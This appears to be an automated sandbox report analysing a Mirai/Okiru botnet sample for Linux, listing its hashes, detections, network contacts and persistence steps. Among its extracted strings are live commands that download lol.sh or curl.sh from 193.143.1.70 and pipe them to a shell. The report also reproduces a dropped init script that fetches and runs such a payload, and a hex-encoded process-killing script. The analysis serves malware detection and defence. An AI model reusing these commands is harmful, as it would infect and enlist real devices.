Linux Analysis Report
m68k.nn.elf

Overview

General Information

Sample name: m68k.nn.elf
Analysis ID: 1561642
MD5: 491d3ef33898ef732cf16fec7d775beb
SHA1: a9fced91bc5ef6a1df036ad063db9bf648c2325d
SHA256: c9796377d1658600c49328ab31f90b0348f601ef8e93fb081154f70a00db2223
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Found strings indicative of a multi-platform dropper
Source: m68k.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: m68k.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:42898 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.14:44740 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/m68k.nn.elf (PID: 5488) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 54.191.21.44
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 54.191.21.44
Source: unknown TCP traffic detected without corresponding DNS query: 87.169.211.196
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 31.82.238.7
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 87.169.211.196
Source: unknown TCP traffic detected without corresponding DNS query: 25.228.36.231
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 120.244.174.70
Source: unknown TCP traffic detected without corresponding DNS query: 96.219.139.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.69.188.66
Source: unknown TCP traffic detected without corresponding DNS query: 31.82.238.7
Source: unknown TCP traffic detected without corresponding DNS query: 25.228.36.231
Source: unknown TCP traffic detected without corresponding DNS query: 120.244.174.70
Source: unknown TCP traffic detected without corresponding DNS query: 96.219.139.126
Source: unknown TCP traffic detected without corresponding DNS query: 84.69.188.66
Source: unknown TCP traffic detected without corresponding DNS query: 5.7.238.26
Source: unknown TCP traffic detected without corresponding DNS query: 2.239.173.18
Source: unknown TCP traffic detected without corresponding DNS query: 201.187.138.39
Source: unknown TCP traffic detected without corresponding DNS query: 5.7.238.26
Source: unknown TCP traffic detected without corresponding DNS query: 2.239.173.18
Source: unknown TCP traffic detected without corresponding DNS query: 94.245.255.183
Source: unknown TCP traffic detected without corresponding DNS query: 174.197.137.209
Source: unknown TCP traffic detected without corresponding DNS query: 79.140.15.206
Source: unknown TCP traffic detected without corresponding DNS query: 201.187.138.39
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, m68k.nn.elf.36.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: m68k.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: m68k.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: m68k.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesn
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 794, result: successful Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 888, result: successful Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 1659, result: successful Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 3212, result: successful Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 3218, result: successful Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5510) SIGKILL sent: pid: 5556, result: successful Jump to behavior
Source: classification engine Classification label: mal72.spre.troj.evad.linELF@0/11@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/m68k.nn.elf (PID: 5488) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/m68k.nn.elf (PID: 5488) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5568) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5593) File: /etc/rc.d/S99m68k.nn.elf -> /etc/init.d/m68k.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/m68k.nn.elf (PID: 5488) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5565) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5581) File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5780/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5781/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5782/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5783/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5784/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5785/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5810/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5811/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5793/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5750/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5794/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5751/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5795/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5752/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5796/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5786/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5787/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5788/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5748/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5749/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5718/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5719/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5753/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5797/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5754/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5798/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5799/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5755/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5756/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5757/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5758/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5759/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5716/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5331/cmdline Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5805/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5806/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5807/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5808/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5809/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/1289/cmdline Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5720/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5723/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5800/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5801/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5802/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5803/status Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5620) File opened: /proc/5804/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/m68k.nn.elf (PID: 5528) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5563) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5566) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5570) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5576) Shell command executed: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5582) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5588) Shell command executed: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5565) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5581) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/m68k.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5587) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5538) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/m68k.nn.elf (PID: 5488) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5565) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5581) File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/m68k.nn.elf (PID: 5488) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/m68k.nn.elf (PID: 5488) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5570) Writes shell script file to disk with an unusual file extension: /etc/init.d/m68k.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/m68k.nn.elf (PID: 5488) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5570) File: /etc/init.d/m68k.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/m68k.nn.elf (PID: 5488) Queries kernel information via 'uname': Jump to behavior
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.iaQaid-
Source: m68k.nn.elf, 5488.1.000055e8247de000.000055e824863000.rw-.sdmp, m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP /usr/libexec/fwupdkit-g
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp, m68k.nn.elf, 5510.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: m68k.nn.elf, 5488.1.000055e8247de000.000055e824863000.rw-.sdmp, m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5510.1.00007f844c020000.00007f844c024000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: m68k.nn.elf, 5488.1.000055e8247de000.000055e824863000.rw-.sdmp, m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp, m68k.nn.elf, 5510.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: /tmp/qemu-open.iaQaid
Source: m68k.nn.elf, 5488.1.000055e8247de000.000055e824863000.rw-.sdmp, m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP!/usr/bin/xiccdxfce4/xfcQ
Source: m68k.nn.elf, 5488.1.000055e8247de000.000055e824863000.rw-.sdmp, m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp, m68k.nn.elf, 5510.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX
Source: m68k.nn.elf, 5510.1.000055e8247de000.000055e824863000.rw-.sdmp Binary or memory string: U2!/usr/bin/vmtoolsd
Source: m68k.nn.elf, 5488.1.00007fff124d2000.00007fff124f3000.rw-.sdmp, m68k.nn.elf, 5510.1.00007fff124d2000.00007fff124f3000.rw-.sdmp Binary or memory string: =R8x86_64/usr/bin/qemu-m68k/tmp/m68k.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.nn.elf

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5488.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5510.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5488.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5510.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5488, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5510, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5488.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5510.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5488.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5510.1.00007f844c001000.00007f844c01e000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5488, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5510, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
151.138.203.206
 unknown United States
6482 SUPER-AS1US false
177.86.118.243
 unknown Brazil
52570 TechInfoTelecomBR false
206.11.204.100
 unknown United States
5006 VOYANTUS false
168.11.78.213
 unknown United States
3480 PEACHNET-AS2US false
84.55.130.123
 unknown France
9003 ASN-SFRForpeeringpleasemailpeeringaltitudetelecomfr false
24.188.149.252
 unknown United States
6128 CABLE-NET-1US false
218.129.90.226
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
134.55.122.247
 unknown United States
293 ESNETUS false
14.177.80.88
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
217.223.132.116
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
49.7.231.56
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
36.195.207.234
 unknown China
24138 CTTNETChinaTieTongTelecommunicationsCorporationCN false
187.223.53.72
 unknown Mexico
8151 UninetSAdeCVMX false
204.182.210.68
 unknown United States
1239 SPRINTLINKUS false
99.231.30.229
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
48.22.139.96
 unknown United States
2686 ATGS-MMD-ASUS false
20.22.92.119
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
131.85.129.14
 unknown United States
140 DNIC-AS-00140US false
72.199.186.161
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
63.255.97.23
 unknown United States
7029 WINDSTREAMUS false
202.236.159.181
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
107.242.115.183
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
22.249.83.107
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
106.187.97.18
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
46.56.162.63
 unknown Belarus
42772 A1-BY-ASBY false
113.37.197.159
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
15.48.214.182
 unknown United States
13979 ATT-IPFRUS false
214.189.46.107
 unknown United States
721 DNIC-ASBLK-00721-00726US false
146.31.175.1
 unknown United States
197938 TRAVIANGAMESDE false
154.221.71.232
 unknown Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK false
66.21.196.104
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
8.92.12.98
 unknown United States
3356 LEVEL3US false
21.201.0.250
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
129.25.60.152
 unknown United States
11834 DREXEL-ASNUS false
222.33.117.145
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
118.197.249.107
 unknown China
7497 CSTNET-AS-APComputerNetworkInformationCenterCN false
213.87.65.79
 unknown Russian Federation
8359 MTSRU false
158.6.65.21
 unknown United States
1535 DNIC-ASBLK-01534-01546US false
18.255.222.142
 unknown United States
16509 AMAZON-02US false
187.2.134.187
 unknown Brazil
28573 CLAROSABR false
163.159.12.150
 unknown Slovenia
15435 KABELFOONDELTAFiberNederlandNL false
171.193.184.254
 unknown United States
10794 BANKAMERICAUS false
89.248.199.156
 unknown Russian Federation
42517 STNL false
161.194.231.250
 unknown United States
27357 RACKSPACEUS false
38.64.125.175
 unknown United States
174 COGENT-174US false
131.120.246.203
 unknown United States
668 DNIC-AS-00668US false
109.58.235.207
 unknown Sweden
